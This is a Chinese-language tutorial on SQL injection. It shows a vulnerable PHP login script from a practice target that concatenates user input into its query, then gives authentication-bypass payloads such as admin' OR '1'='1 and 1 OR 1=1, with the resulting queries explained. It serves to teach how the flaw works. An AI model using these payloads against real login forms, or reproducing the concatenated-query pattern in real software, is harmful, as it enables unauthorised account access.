SQL Injection
考虑一个网页登录页面,采用 POST 携带 username 和 password 两个参数发送登录请求。后端进行一次 DQL 操作:
| SELECT * FROM users WHERE username = '$username' AND password = '$password'
|
其中 $username 和 $password 被直接替换为请求参数。如果 SQL 能够返回用户数据(也就是有效输出),那么身份验证成功,进行登录
以某靶机的 login.php 的部分内容为例,只留下了核心的查询部分:
| login.php |
|---|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23 | // 如果提交了登录表单
if(isset($_POST['login']))
{
// 构造查询语句,直接进行了拼接
$run='SELECT * FROM auth WHERE password=\''.$password.'\' and username=\''.$username.'\'';
// 执行 SQL 查询
$result = mysqli_query($conn, $run);
// 如果能查到至少一条记录,登录成功
// 这里的判断逻辑是“是否返回了有效数据”,而不是“实际比对了密码”
if (mysqli_num_rows($result) > 0) {
// 一些登录成功后的行为
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
else
{
// 登录失败
echo "<script>alert('Try again');</script>";
}
}
|
这里的 SQL 查询语句是直接由用户输入和其他内容拼接组成,并且只要存在有效的查找记录就登录成功,因此可以进行指令注入
常见注入
对于 SELECT * FROM users WHERE username = '$username' AND password = '$password',可以通过对 $username $password 进行特殊构造,从而修改 SQL 语句的意义:
首先是在已知存在 admin 账号的情况下,
1
2
3
4
5
6
7
8
9
10
11
12
13 | -- 注意单引号的正确闭合
$username = admin' OR '1'='1
$password = anything
-- SQL 的逻辑运算符优先级:NOT > AND > OR
-- 这里用额外括号体现执行顺序
-- 效果是:username = 'admin' 成立,因此返回 admin 的用户数据,登录 admin 用户
SELECT * FROM users WHERE
username = 'admin'
OR ('1'='1' AND password = 'anything');
-- 此处我们假定参数是字符型注入,对于某些注入参数(比如 id 号),参数为数字,此时不需要单引号包裹
SELECT * FROM users WHERE id = 1 OR 1=1
|